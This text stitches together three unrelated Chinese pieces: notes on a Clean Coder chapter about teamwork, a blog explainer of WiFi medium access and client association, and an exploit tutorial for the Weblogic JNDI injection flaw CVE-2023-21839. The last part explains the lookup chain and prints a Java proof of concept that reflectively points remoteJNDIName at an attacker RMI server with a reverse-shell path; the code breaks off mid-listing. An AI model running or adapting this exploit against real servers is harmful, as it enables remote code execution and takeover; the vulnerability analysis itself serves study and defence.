2024年9月

代码整洁之道

image-20240904225436374

简介:

本书是编程大师“Bob 大叔”40余年编程生涯的心得体会的总结,讲解要成为真正专业的程序员需要具备什么样的态度,需要遵循什么样的原则,需要采取什么样的行动。作者以自己以及身边的同事走过的弯路、犯过的错误为例,意在为后来者引路,助其职业生涯迈上更高台阶。

本书适合所有程序员阅读,也可供所有想成为具备职业素养的职场人士参考。

第十二章 协作

image-20240918072128072

大多数软件都是由团队开发出来的。当团队成员能够十分专业地互相协作时,整个团队是最为高效的。单打独斗与游离于团队之外都是不专业的表现。

12.1 程序员与人

我们并非是因为喜欢和其他人在一起工作才选择做程序员的。我们都认为人际关系难以应付而且毫无规律。编程用的机器则整洁,行为也可预见。
如果可以一个人待在房间里数个小时沉浸在一些真正有趣的问题上,那将会是最开心的时光。

好吧,我这么说可能有点儿以偏概全了,确实也有不少例外。有许多程序员很善于和别人共事合作,享受其中的挑战。但是整个群体的平均状况还是朝我所描述的方向发展的。
我们,程序员们,还是最享受面无表情的沉思,把自己像蚕茧一样裹起来,沉浸于问题思考中。

程序员与雇主:

专业程序员的首要职责是满足雇主的需求。这意味着要和你的经理们、业务分析师们、测试工程师们和其他团队成员很好地协作,深刻理解业务目标。这并不是说你必须要成为业务方面的老学究,而是说你需要理解手上正在编写的代码的业务价值是什么,了解雇你的企业将如何从你的工作中获得回报。

因此,专业程序员会花时间去理解业务。他们会和用户讨论他们正在使用的软件,会和销售人员与市场人员讨论所遭遇的问题,会和经理们沟通,明确团队的短期目标和长期目标。

程序员与程序员:

程序员与程序员之间通常很难密切合作,这就会带来一些不小的问题。

  1. 代码个体所有

    不正常的团队最糟糕的症状是,每个程序员在自己的代码周边筑起一道高墙,拒绝让其他程序员接触到这些代码。我曾在许多地方看到过,不少程序员甚至不愿让其他程序员看见他们的代码。这是引发灾难的“最有效秘诀”。

  2. 协作性的代码共有权

    我赞同这种做法:团队中每位成员都能签出任何模块的代码,做出任何他们认为合适的修改。我期望拥有代码的是整个团队,而非个人。专业开发人员是不会阻止别人修改代码的。他们不会在代码上构造所有权的藩篱,而是尽可能多地互相合作。他们通过合作来达到学习的目的。

  3. 结对

    “专业人士会结对工作。”为什么?因为至少对有些问题而言,结对是最有效的解决方法。

    专业人士结对工作,还因为这是分享知识的最好途径。

    专业人士之所以结对,是因为结对是复查代码最好的方式。(
    最有效率且最有效果的代码复查方法,就是以互相协作的方式完成代码编写。

12.2 一起协作

专业人士会共同工作。当戴着耳机坐在角落里时,你是无法参与合作的。因此,我期望大家能够围坐在一张桌子前,彼此面对面。你要能够感受到其他人的恐惧担忧,要能够听到其他人工作不顺时的牢骚,要有口头上和肢体语言上的下意识的沟通交流。整个团队要像一个统一的整体,彼此连通。

也许你认为自己一个人工作时会做得更好。也许确实如此,但这并不意味着你一个人工作时,整个团队会做得更好。况且,事实上,一个人单独工作时,不太可能会工作得更好。有些时候,单独工作是正确的。当你只是需要长时间努力思考一个问题时,可以一个人单独工作。当任务琐碎且无足轻重、和另外一个人一起工作显得浪费时,可以一个人工作。但是一般说来,和其他人紧密协作、在大部分时间段中结对工作,是最好的做法。

12.3 结论

也许我们不是因为通过编程可以和人互相协作才选择从事这项工作的。但真不走运,编程就意味着与人协作。我们需要和业务人员一起工作,我们之间也需要互相合作。

liwen01 2024.09.16

前言

802.11 无线 WiFi 网有三类帧:
数据帧、管理帧、控制帧
。与有线网相比,无线 WiFi 网会复杂很多。大部分应用软件开发对 WiFi 的控制帧和管理帧了解得并不多,因为它们在物理层和数据链路层就已经被处理了,上层应用很少能感知到。

一般是在设备出现 WiFi 连接不上,或者是工作不稳定的情况下,才会去分析 WiFi 驱动工作情况以及抓 WiFi 空口包数据来分析。

有抓过 WiFi 空口包的同学应该清楚,无线 WiFi 网的网络包不管是从包类型还是包信息内容来看,都会比有线网的包复杂很多。

Image

这篇主要介绍有线网与无线 WiFi 网在物理层的差异、WiFi 介质访问控制原理和它的一些关键技术以及无线用户的接入过程。

WiFi 空口包抓包、分析,以及各类 WiFi 帧结构的介绍放到下一篇介绍。这篇是基础原理知识的介绍,也是后面一篇 WiFi 帧分析的基础。

(一) 有线与无线网物理层差异

Image

  • CSMA/CD 用于有线网络,通过检测和处理冲突来维持网络的稳定性。
  • CSMA/CA 用于无线网络,强调冲突的预防,以应对无线信道共享的挑战。

(1) 有线网 CSMA/CD

在有线网络中,设备间通过网线相互连接,它的工作原理是:

载波侦听
:设备在发送数据之前会先监听网络,以检测是否有其他设备在传输数据。如果检测到网络空闲,则开始发送数据。

冲突检测:
在数据发送过程中,设备持续监听网络。如果检测到冲突 (即两个或多个设备同时发送数据导致信号混合) ,发送数据的设备会停止传输,并发送一个“冲突信号”以通知网络上的其他设备。

重传数据:
发生冲突后,设备会等待一段随机的时间后再次尝试发送数据。这个随机等待时间称为“退避算法”,可以有效减少后续冲突的可能性。

这个就是有线网
CSMA/CD (Carrier Sense Multiple Access with Collision Detection,载波侦听多路访问与冲突检测)
的工作原理。

它依赖的是网线共享介质,
设备在数据发送的过程中,还可以检测网线状态

(2) 无线网 CSMA/CA

与有线网不同的是,无线网它是通过电磁波进行数据交互。
无线是半双工工作模式,无线客户端没有同时进行接收和发送的能力,无法检测到冲突。

所以有线网络中的冲突检测方式,在无线中并不适用,并且无线中还存在相邻站点不一定能侦听到对方的情况:

Image

手机位于两个路由器中间,并且距离两个路由器都比较远,这个时候路由器 AP1 检测不到路由器 AP2 的信号,两个路由器之间都不知道对方是否有在给手机 STA2 发送数据。

所以无线网引入了
CSMA/CA
( Carrier Sense Multiple Access with Collision Avoidance,载波侦听多路访问/冲突避免)

(3) CSMA/CA 工作原理:

载波侦听
:设备在发送数据之前也会监听无线信道,检查是否有其他设备在使用。只有信道空闲,设备才会继续执行发送操作。

冲突避免
:为了尽量避免冲突,在发送数据之前,设备可能会先发送一个“
准备发送
”信号 (如RTS,即请求发送) ,并等待接收设备返回“
允许发送
”信号 (如CTS,即清除发送) 。

数据发送
:收到 CTS 信号后,设备才会发送数据。

ACK确认
:数据发送成功后,接收设备会发送一个确认信号 (ACK) 。如果发送设备在规定时间内没有收到 ACK,它会认为数据丢失并重新发送。

由于无线网引入了额外的信号交换 (如 RTS/CTS) 和 ACK 等机制,增加了无线网设备连接、数据交互的复杂度。

(二) CSMA/CA 的关键技术

Image

(1) ACK 确认机制 (Acknowledgment Mechanism)

在数据帧成功发送并被接收设备接收到后,接收设备会发送一个
ACK (Acknowledgment)帧
给发送设备,表示数据成功到达。

如果发送设备在指定时间内未收到 ACK,它会认为数据丢失并重新发送。

Image

ACK 机制
保证了数据传输的可靠性,避免了数据丢失后无反馈导致的传输失败。

(2) RTS/CTS 机制 (Request to Send / Clear to Send)

RTS/CTS 机制
是 CSMA/CA 中用于减少冲突的关键技术。它通过引入“
准备发送
”请求 (RTS) 和“
允许发送
”确认 (CTS) 这两个控制帧,在发送数据之前确保信道空闲,减少隐蔽节点问题。

RTS(Request to Send)
:发送设备首先向接收设备发送一个 RTS 帧,表明自己想要发送数据。

CTS (Clear to Send)
:接收设备在确认信道空闲后,会回复一个 CTS 帧,允许发送设备进行数据传输。

(a) RTS/CTS与隐藏节点:

隐藏节点
指在接收者的通信范围内而在发送者通信范围外的节点。

Image

  • PC1 要发送数据,所以它发送了 RTS 帧, 这时路由器可以收到该 RTS 帧,但是 PC2 与 PC1 距离较远,PC2 收不到 PC1 的 RTS 帧。
  • 路由器 AP 收到PC1 的 RTS 帧后,会同时向 PC1 和 PC2 发送 CTS 帧
  • PC1 收到路由器发的 CTS 帧后,PC1 开始发送数据。
  • PC2 收到路由器发的 CTS 帧后,PC2 保持安静,不能发送数据

(b) RTS/CTS与暴露节点:

暴露节点
指在发送者的通信范围之内而在接收者通信范围之外的节点

Image

AP1 和 AP2 属于同一个信道,当 PC1 向 AP1 发送数据时,PC2 也希望向 AP2 发送数据。

根据 CSMA/CA 协议,PC2 侦听信道,它将听到 PC1 正在发送数据,于是错误地认为它此时不能向 AP2 发送数据,但实际上它的发送不会影响 AP1 的数据接收,这就导致 PC2 所谓暴露节点问题的出现。

Image

(c) 暴露节点解决方案

  • PC1 要发送数据,于是发送 RTS 帧,AP1 和 PC2 都可以接收到该 RTS帧
  • AP1 收到 RTS 帧后,会发送 CTS 帧
  • PC1 收到 CTS 帧后可以开始传输数据
  • PC2 如果也收到了 AP1 的 CTS 帧,PC2 不能与 AP2 发送数据,只能保持安静
  • PC2 如果只收到 PC1 的 RTS 帧,但是没有收到 AP1 发送的 CTS帧,这个时候 PC2 可以发送数据给 AP2,并且也不会影响到 AP1 数据的接收

通过 RTS/CTS 机制,避免了同时传输引发的冲突。

(3) 随机退避算法 (Random Backoff Algorithm)

当信道忙碌时,设备不会立即重新尝试发送数据,而是会等待一个随机的时间段后再尝试。这种随机等待时间由
退避算法
(Backoff Algorithm) 决定,以减少多个设备同时再次尝试发送数据的可能性,从而避免冲突。

具体做法是,在每次检测到信道忙碌后,设备会生成一个随机退避时间。退避时间越长,设备等待的时间越久,从而分散重试时间点,降低冲突概率。

Image

  • 发送数据前随机选取退避时间
  • 退避时间最短的站优先发送数据帧
  • 最短的时间为退避窗口
  • 新的退避时间 = 上次退避时间 - 退避窗口

(4) 帧间间隔 (Interframe Space, IFS)

IFS  (Interframe Space, 帧间间隔)
用于控制设备在发送数据帧之间的等待时间,以确保无线信道的公平性和有效性。根据不同的情况,IEEE 802.11 标准定义了几种不同类型的 IFS:

(a) 短帧间间隔 (Short Interframe Space, SIFS)

应用场景
:用于高优先级的操作,如 ACK 确认帧、CTS 帧、以及从站的响应帧。

特点
:SIFS 是所有 IFS 中最短的,确保重要数据能够迅速传输而不受其他帧的干扰。由于它的间隔短,接收方可以快速发出确认,减少等待时间,提高数据传输效率。

(b) 点协调功能帧间间隔 (Point Coordination Function Interframe Space, PIFS)

应用场景
:用于集中控制模式下,接入点 (AP) 在无竞争的情况下使用,如在 PCF (点协调功能) 模式下的优先级操作。

特点
:PIFS 的等待时间比 DIFS 短,但比 SIFS 长。它主要用于在竞争前启动通信,以便接入点在竞争阶段之前获得信道控制权。

(c) 分布式协调功能帧间间隔 (Distributed Coordination Function Interframe Space, DIFS)

应用场景
:用于普通数据帧的传输,通常在竞争环境中使用。

特点
:DIFS 是正常数据帧在竞争信道时使用的间隔。它的等待时间比 PIFS 长,确保优先级较低的设备在优先级较高的操作完成后再尝试发送数据。

(d) 扩展帧间间隔 (Extended Interframe Space, EIFS)

应用场景
:当一个设备接收到一个有错误的数据帧时,它会等待 EIFS 时间后再试图发送数据。

特点
:EIFS 是所有 IFS 中最长的,旨在避免网络中更多的冲突或干扰发生。当设备认为信道状况不佳时,会使用更长的等待时间以减少进一步的冲突。

(e)应用实例

Image

  • 发送者想要发送数据,先侦听信道状态,如果空闲,它就会发送一个 RTS 帧(请求发送帧)
  • 接收者接收到该 RTS 帧之后,等待一个 SIFS (短帧间间隔)时间后,再发送一个 CTS 帧(可以发送数据了)
  • 发送者收到 CTS 帧之后,间隔一个 SIFS (短帧间间隔)时间后,发送数据帧。
  • 接受者接收到数据后,再间隔一个 SIFS 后应答一个 ACK 帧
  • 最下面一行的 NAV 是其它设备的一个时间记时器,当设备的 NAV 计时器大于零时,设备会认为信道正在被其他设备占用,因此不会尝试进行传输,被进制访问介质。
  • ACK 之后有个 DIFS (分布式协调功能帧间间隔),这是个竞争窗口,容许优先级低的设备再尝试发送数据。

通过不同的 IFS 间隔时间,CSMA/CA 可以控制不同类型的数据帧在信道上的优先级。高优先级的数据帧 (如 ACK 和 CTS) 使用较短的间隔,确保它们能快速获得信道使用权。

通过强制设备在每次传输前等待一定时间,IFS 降低了多个设备同时传输的可能性,减少了冲突的发生。

(5) 载波侦听 (Carrier Sensing)

(a) 物理载波侦听与虚拟载波侦听

载波侦听
在设备发送数据之前,它会先侦听无线信道,检查是否有其他设备在使用该信道。如果信道空闲,设备才会继续后续的发送操作。这一过程被称为
物理载波侦听

虚拟载波侦听
是通过网络分配器 (如无线接入点) 来管理信道的占用情况,利用控制帧 (如 RTS/CTS)来减少冲突。

(b) 网络分配向量(Network Allocation Vector,NAV)

NAV 是无线设备在信道上听到某些控制帧 (如 RTS/CTS 或数据帧) 时设置的一个计时器。这个计时器表示该设备预计信道会被占用的时间,设备会在 NAV 计时器归零之前避免传输数据。

(c) NAV 的工作原理

NAV 设置:
当一个设备在无线信道上接收到某个帧 (如 RTS 或 CTS) 时,它会读取该帧中的持续时间字段 (Duration Field) 。这个字段表示该帧预期的占用时间,包括发送数据帧和接收 ACK 所需的时间。接收设备会根据这个持续时间设置自己的 NAV 计时器。

信道占用判断:
当设备的 NAV 计时器大于零时,设备会认为信道正在被其他设备占用,因此不会尝试进行传输。NAV 计时器归零后,设备会再次检查信道是否空闲,如果空闲,则可以开始自己的传输。

NAV 与物理载波侦听的结合
:NAV 是一种
虚拟载波侦听
机制,它与
物理载波侦听
相结合。

物理载波侦听是通过硬件直接检测信道上的信号强度,来判断信道是否被占用。

NAV 通过读取帧信息来推断信道的占用状态。物理载波侦听与 NAV 结合使用,有助于更准确地判断信道状态,减少冲突。

Image

PC1 给路由器发送数据帧,同一个范围的PC2、PC3、phone 也会收到该数据帧帧。

PC1 发送的数据帧在该帧的 MAC 头部有个 Duration 字段,表示持续时间,它包括一个短帧间间隔(SIFS)时间加上 ACK 帧的时间,假设该时间是50us。

PC2、PC3、phone 在收到 frame 数据帧后,会去读取该帧的 Duration 字段,然后重置自己的
NAV
计数器为 Duration 字段的值 50 us。

(三)无线用户接入过程

我们手机、笔记本电脑等设备的 WiFi 模块一般工作在 STA 模式,路由器的 WiFi 一般工作在 AP 模式。当我们 STA 设备连接到路由器 AP 的时候,有三个过程:
扫描、认证、关联

Image

  • 扫描阶段
    STA进行扫描,定期搜索周围的无线网络,获取到周围的无线网络信息。

  • 认证阶段
    STA 接入 WiFi 网络前需要进行终端身份验证,即链路认证。链路认证通常被认为是终端连接 AP 并访问 WiFi 的起点。

  • 关联阶段
    完成链路认证后,STA 会继续发起链路服务协商。

(1) 扫描阶段 (Scanning)

扫描阶段 (Scanning)
是 WiFi 设备连接无线网络的第一步,设备通过扫描找到可用的无线接入点 (Access Point, AP) ,从而选择合适的 AP 进行连接。WiFi 标准中定义了两种主要的扫描方式:主动扫描 (Active Scanning) 和被动扫描 (Passive Scanning) 。每种方式有其特点和应用场景。

(a) 主动扫描 (Active Scanning)

在主动扫描过程中,设备会主动向周围的无线信道发送探测请求 (Probe Request) ,并等待 AP 发送探测响应 (Probe Response) 。这个过程可以快速发现周围的 WiFi 网络,尤其是在设备不知道有哪些网络可用的情况下。主动扫描的过程分为以下几个步骤:

探测请求 (Probe Request)
设备依次切换到不同的信道 ( WiFi 网络使用多个信道进行通信,不同的标准使用不同的信道范围,比如 2.4GHz 频段有 14 个信道) 。

在每个信道上,设备会发送探测请求帧 (Probe Request) 。这个探测请求可以是针对所有网络的广播,也可以是针对特定 SSID 的单播。

Image

针对某个特定 SSID 的单播,探测包中有携带需要探测的 SSID 信息,只有 SSID 能够匹配上的 AP 才会返回探测响应包。

这种场景一般是设备已经配置过网络,设备端有保存需要连接的 AP ,设备上电就直接扫描该 AP 是否存在。

Image

当探测请求是针对所有网络的广播时,探测包中 SSID 信息是为 NULL,接收到该探测包的 AP 都会返回探测响应包。

比较常见的场景是我们要手动去连接 WiFi 时,先会去扫描所有的信道的 WiFi 热点,然后生成一个 WiFi 热点列表。

探测请求的主要内容包括:

  • SSID (可以是具体的SSID,也可以是广播请求)
  • 支持的速率
  • 扩展功能信息 (如支持的安全协议)

探测响应 (Probe Response)

AP在接收到探测请求后,会返回探测响应帧 (Probe Response) 。这个响应帧包含AP的详细信息,例如:

  • SSID (网络名称)
  • BSSID (AP的MAC地址)
  • 信道号
  • 支持的速率
  • 安全协议信息 (如WPA/WPA2)
  • 网络容量和设备数量
  • 其他可能的扩展功能 (如QoS、WMM等)

主动扫描的优缺点:

优点
:能够快速发现隐藏的 WiFi 网络 (隐藏SSID的网络) ,因为设备可以通过探测请求主动询问某个特定SSID的存在。

缺点
:主动发送请求帧会增加设备的能耗,且在某些环境中可能暴露设备的存在和意图,减少隐私性。

(b) 被动扫描 (Passive Scanning)

在被动扫描过程中,设备不会主动发送探测请求,而是通过监听特定信道上的信标帧 (Beacon Frame),从中获取 AP 的信息。信标帧是 AP 定期广播的一种特殊的管理帧,所有设备只需监听信道即可获知周围可用的网络。

Image

信标帧 (Beacon Frame)

AP 会定期 (通常是100ms)在指定信道上广播信标帧。信标帧包含了AP的关键信息,包括:

  • SSID
  • BSSID (AP的MAC地址)
  • 支持的传输速率
  • 信道号
  • 安全信息 (如WPA/WPA2)
  • 网络时间戳 (用于同步设备的时钟)
  • 其他可能的功能 (如WMM、HT Capabilities、VHT Capabilities等)

监听信道

  • 设备依次切换到不同的信道,并在每个信道上监听信标帧。每个信道可能包含多个 AP 的信标帧。
  • 通过这些信标帧,设备可以了解哪些 AP 在附近可用,并获取相关的配置信息。

被动扫描的优缺点:

优点
:更节能,因为设备只需被动监听信标帧,而不需要主动发送请求。它也不会暴露设备的身份和意图,增强了隐私性。

缺点
:相比主动扫描,发现 AP 的速度较慢,因为设备必须等待 AP 广播信标帧。尤其在密集的网络环境中,等待多个 AP 广播信标帧可能会耗费更多时间。

(2) 认证阶段 (Authentication)

认证是设备和 AP 之间相互确认身份的过程。在传统的 WiFi 认证中,有两种方式:

开放系统认证 (Open System Authentication)
:这是最简单的方式,不需要设备和AP之间进行任何密钥交换,所有请求都会通过。

共享密钥认证 (Shared Key Authentication)
:设备和 AP 会通过 WEP (Wired Equivalent Privacy) 密钥进行加密认证。这种方式现已很少使用,因为 WEP 的安全性较差,已被更强的 WPA/WPA2/WPA 3等认证方式取代。

Image

现代 WiFi 网络一般使用 WPA/WPA2/WPA3 等协议进行身份验证,结合了 PSK (Pre-Shared Key) 或企业级的 RADIUS 认证服务器来提升安全性。

WiFi 认证就简单介绍这些,后面会专门再针对 WiFi 认证做详细介绍。

(3) 关联阶段

在完成扫描和认证阶段之后,设备必须通过关联阶段,才能与无线接入点 (Access Point, AP) 建立正式的连接,并开始进行数据通信。在这个阶段,设备与 AP 之间会进行详细的参数交换,确保双方能够兼容并高效地进行后续通信。

Image

关联阶段包括
关联请求 (Association Request)

关联响应 (Association Response)
两部分:

(a) 关联请求 (Association Request)

在认证通过后, WiFi 设备会发送一个关联请求帧 (Association Request),请求与 AP 建立正式的连接。这个关联请求帧携带了设备的详细信息,以便 AP 了解设备的能力,并确定双方能否以最佳方式进行通信。

关联请求帧的主要字段包括:

  • SSID
    :所请求连接的网络名称。
  • 支持的速率集 (Supported Rates Set)
    :设备所支持的传输速率,AP可以根据这些速率来选择合适的通信速率。
  • 扩展速率集 (Extended Supported Rates)
    :用于支持更高的传输速率 (例如802.11n/ac/ax)。
  • 信道信息
    :设备希望使用的信道以及相关的频段信息。
  • 安全信息
    :包括设备支持的加密和认证协议 (如WPA2/WPA3等)。
  • 能力信息 (Capability Information)
    :设备的其他功能,如是否支持QoS (Quality of Service)、电源管理等。
  • HT/VHT Capabilities
    :如果设备支持802.11n (HT, High Throughput) 或802.11ac/ax (VHT, Very High Throughput),它会在关联请求中包含这些信息,以允许AP使用更高效的技术来优化传输性能 (如 MIMO、多信道聚合等)。

(b) 关联响应 (Association Response)

AP 接收到设备的关联请求帧后,会检查设备的请求信息,评估其是否能够接受设备的连接。通常,AP 会基于设备的能力和当前网络的负载情况作出决定。然后,AP 会通过
关联响应帧 (Association Response)
来通知设备是否成功关联。

关联响应帧包括以下重要信息:

  • 状态码 (Status Code)
    :指示关联是否成功。如果状态码为0,表示关联成功;否则,设备需要重新尝试。
  • 关联标识符 (Association ID, AID)
    每个成功关联的设备会被 AP 分配一个唯一的 AID,用于区分不同的设备。在后续通信中,AP 使用 AID 来管理每个设备。
  • 支持的速率信息
    :AP 会在响应中确认双方支持的最高传输速率,这些速率会成为后续通信中的基准。
  • 可能的信道信息
    :如果 AP 支持多信道传输或设备的请求中包含特定信道要求,AP 会在响应中确认所选择的信道。

(c) 关联成功后的状态

一旦设备收到关联成功的响应帧,它就会正式成为 AP 的一部分,并可以开始通过AP 访问网络资源。关联成功后的状态有以下几个关键点:

  • 设备获得AID
    :设备的 AID 可以用于 AP 管理关联设备的无线资源,例如通过AID 来识别哪些设备可以发送或接收数据。
  • 资源分配
    :AP 可能根据网络条件和设备的能力,分配特定的无线资源 (如信道带宽、时隙等)。
  • 准备数据传输
    :关联完成后,设备与 AP 之间的通信变为数据帧传输,设备可以通过 AP 接入互联网或本地网络资源。

(d) 关联失败的情况

关联过程并非总是成功的,可能的失败原因包括:

  • AP 超载
    :如果 AP 已经连接了过多的设备,它可能会拒绝新的关联请求,通常会返回一个“超载”状态码。
  • 信道不匹配
    :设备请求使用的信道可能不在 AP 当前支持的信道范围内。
  • 安全协议不兼容
    :如果设备和 AP 使用不同的安全协议 (例如设备只支持 WPA, 而 AP 要求 WPA2 或 WPA3),关联将会失败。
  • 信号质量差
    :如果设备距离 AP 太远,信号质量过差,AP 可能无法维持稳定的连接,从而拒绝关联请求。

结尾

上面主要介绍了有线网与 WiFi 无线网在物理层的差异、WiFi 介质访问控制原理及其关键技术、无线用户的接入过程。

下一篇将介绍 WiFi 空口包抓包、以及各类 WiFi 包的解析。

上面内容,如有错误,欢迎评论区提示指出,不胜感激。

------------------End------------------
如需获取更多内容
请关注 liwen01 公众号

前言

本篇文章初衷是在研究log4j2漏洞时候找不到一篇完整且能够真正让我理解漏洞根因的文章,导致我想写一篇通俗易懂能理解到底啥是JNDI注入,怎么lookup的。

当然不排除国外英文文章有很好的解释,但是我更希望有中文版本。

JNDI 注入简单理解

JNDI (Java Naming and Directory Interface)

JNDI注入可以归纳为后台在执行代码的时候,最终会执行到lookup函数,然后lookup函数传入的值是我们在请求或者其他方式能够控制的一个变量,再者lookup支持远程方法调用(RMI)、轻型目录访问协议(LDAP)、域名服务(DNS)。

定眼一看RMI、LDAP、DNS,肾上腺素拉满,这仨都可以配合JNDI注入进行(lookup)漏洞利用攻击。 所以这也就是为啥有很多攻击方式为:JNDI+RMI、JNDI+LDAP、JNDI+DNS,最具杀伤力的自然是rmi和ldap协议,能够远程绑定对象执行代码。(这里别蒙圈,知道这俩协议配合JNDI能够远程执行代码即可)

通常测试是否存在JNDI注入漏洞的话可以先用DNS探测一下是否有回显,有的话才好进行下一步的攻击。
还有一个公共对象请求代理体系结构(CORBA)

透过Weblogic漏洞深入理解


该漏洞为:Weblogic未授权远程代码执行漏洞(
CVE-2023-21839
)


下面的源码分析都围绕23年Weblogic的一个未授权远程代码执行漏洞来解释怎么RMI和LDAP攻击,这也是为啥我不满意网上大部分文章的原因,没有结合一个具体的漏洞去解释这俩协议。
(纯属个人观点,毕竟还是参考了很多大佬文章的,各位道友轻点喷)

  • 漏洞原理
    假如你不理解下面要概括的漏洞原理的话那就也莫慌,你只需要知道最终触发的还是lookup函数即可,上面的解释就是为了你在朋友面前装13的而已,显得你很牛13。
    漏洞可以概括为:因为weblogic支持t3和iiop协议绑定远程对象,然后绑定的远程对象是ForeignOpaqueReferent的话,客户端通过jndi查询的时候,服务端其实是调用了远程对象的getRefernet函数进行实例化,然后在这个函数里面进行了lookup查找,查找的是remoteJNDIName,这个就是漏洞点,我们可以通过反射机制修改这个remoteJNDIName,也就是说可以控制使用rmi或者ldap协议进行远程执行代码。

注:!!!补充,这个weblogic漏洞是你绑定对象后主动的进行lookup查询,然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

RMI与LDAP的区别

RMI和LDAP的区别其实就是安全限制有最大的不同,两个协议用起来都是需要加载恶意类到本地执行命令。
(区别就是:RMI/LDAP远程对象引用安全限制存在差异)

参考文章:
https://myzxcg.com/2021/10/Java-JNDI分析与利用/#jndi-目录服务

↓↓↓↓↓↓
里面有写一段,解决了我的对两个协议的疑惑
:↓↓↓↓↓↓

  1. RMI
    在RMI服务中引用远程对象将受本地Java环境限制,本地的
    java.rmi.server.useCodebaseOnly
    配置如果为true(
    禁止引用远程对象
    ),为false则允许加载远程类文件。

    除此之外被引用的ObjectFactory对象还将受到
    com.sun.jndi.rmi.object.trustURLCodebase
    配置限制,如果该值为false(
    不信任远程引用对象
    ),一样无法调用远程的引用对象。
  • JDK5u45、JDK6u45、JDK7u21、JDK8u121
    开始,
    java.rmi.server.useCodebaseOnly
    默认值改为了
    true
  • JDK6u132、JDK7u122、JDK8u113
    开始
    com.sun.jndi.rmi.object.trustURLCodebase
    默认值改为了
    false

    本地测试远程对象引用可以使用
    如下方式允许加载远程的引用对象
    System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  1. LDAP
    LDAP也在
    JDK6u211、7u201、8u191、11.0.1
    后将
    com.sun.jndi.ldap.object.trustURLCodebase
    的默认设置为了false。(
    但不受java.rmi.server.useCodebaseOnly影响

JNDI+RMI

如果你看懂了上面的并且觉得够了且已经理解了,那么就无需看下面分析了,因为这里我写的原因就是因为不相信别人说的,我才希望真正看到是不是真的能够进行JNDI注入lookup进行攻击。


  • Weblogic未授权远程代码执行(CVE-2023-21839)的源码分析,使用RMI攻击。
    分析前要记住一点:Weblogic t3/iiop协议支持远程绑定对象bind到服务端


    • 允许绑定对象这一点很重要,既然允许绑定对象,那么我们就需要找一个能够触发lookup且变量可控的类去绑定,这样我们才能够实现JNDI注入攻击。
  • 巧的是:当远程对象继承自OpaqueReference时,lookup查看远程对象,查询的变量是
    remoteJNDIName
    (
    可通过反射机制控制
    )。
    这里又发现一篇文章写得不错,我参考了一二:
    https://g1asssy.com/2024/01/31/CVE_2024_20931/
    ↓↓↓↓↓↓其中有一段解释的很好↓↓↓↓↓↓


    利用步骤大致分为三步:

    1. 建立一个恶意ForeignOpaqueReference对象,并将remoteJNDIName设置为远程恶意JNDI服务。
    2. 通过T3 \ IIOP协议在WLS上绑定该恶意对象。
    3. 通过lookup查询该恶意对象
      ,触发ForeignOpaqueReference.getReferent的调用,从而造成恶意JNDI注入。

    通过lookup查询该恶意对象
    :这句话意思是你绑定服务器端后能够在poc中自己决定是否拿着这个类去lookup触发,这也就是为啥我选weblogic这个漏洞来解释的原因,他的poc就是你自己来决定绑定后是否进行lookup攻击的,很直接了当告诉你就是lookup触发的,别不信,你自己决定是否lookup攻击。
    注:!!!我还要再次补充就是,这个weblogic漏洞是你绑定对象后主动的进行lookup查询,然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

漏洞代码触发链

参考文章:
https://xz.aliyun.com/t/12297
下图为:ForeignOpaqueReference的父类OpaqueReference,可以看到里面存在getReferent函数,这个函数跟进去就有触发lookup。
在这里插入图片描述
跟进getReferent,你看我框住的就行,你会发现我们只要满足下面两点:

  1. jndiEnvironment不为空,就能初始化好我们的var4。
  2. 控制remoteJNDIName变量就能够进行远程代码执行
    (将值换成我们的RMI或者LDAP协议进行攻击)

然而以上的条件都可以通过编写脚本用反射机制拿到变量进行修改,说白了就是在lookup查询你绑定好的对象时,就会调用ForeignOpaqueReference.getReferent(),然后就去触发受害端后台的lookup,接着执行你控制好的remoteJNDIName,
所以这里我们只要控制var4与this.remoteJNDIName就能造成jndi注入

在这里插入图片描述
以下是RMI的漏洞攻击POC:
注明:本人没有测试poc是否成功,建议使用集成工具一键搭好攻击环境:
https://github.com/ugnoeyh/Log4shell_JNDIExploit
在这里插入图片描述
解下介绍poc代码

  • 引入依赖
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>wlfullclient</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>spring</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>logging</artifactId>
    <version>0.1</version>
</dependency>
  • 主代码
    注意先进行反射机制拿到变量jndiEnvironment 和remoteJNDIName ,然后设置好值后,远程绑定ForeignOpaqueReference对象,然后才是你主动的去进行 lookup查询ForeignOpaqueReference对象,
    这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击。
    ps:上面加深的这句 "这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击" ,看不懂可以接下去看lookup触发链。
    (我已大彻大悟,不知道友悟到没。)
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class CVE_2023_21839 {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.135.129:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String rmi= "rmi://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
        remoteJNDIName.set(f, rmi);

        // 远程绑定ForeignOpaqueReference对象
